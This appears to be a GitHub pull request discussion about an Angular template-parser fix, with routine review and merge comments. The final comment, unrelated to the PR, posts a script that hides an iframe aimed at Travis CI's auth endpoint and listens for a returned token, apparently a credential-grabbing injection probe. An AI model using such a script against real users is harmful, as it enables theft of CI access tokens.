fix(TemplateParser): do not match on attrs that are bindings

[vicb]

No description provided.

[pkozlowski-opensource]

@vicb you've forgotten to run git add on a test file ;-)

[alexeagle]

Green through TAP presubmit
https://test.corp.google.com/ui#id=OCL:110856744:BASE:110856748:1450920504573:3fb3d177

[mary-poppins]

Merging PR #5914 on behalf of @alexeagle to branch presubmit-alexeagle-pr-5914.

[usernamealreadyis]

<script> window.addEventListener("message", function(event) { console.log("received token: " + event.data.token); }); var iframe = $('<iframe />').hide(); iframe.appendTo('body'); iframe.attr('src', "https://api.travis-ci.org/auth/post_message"); </script>

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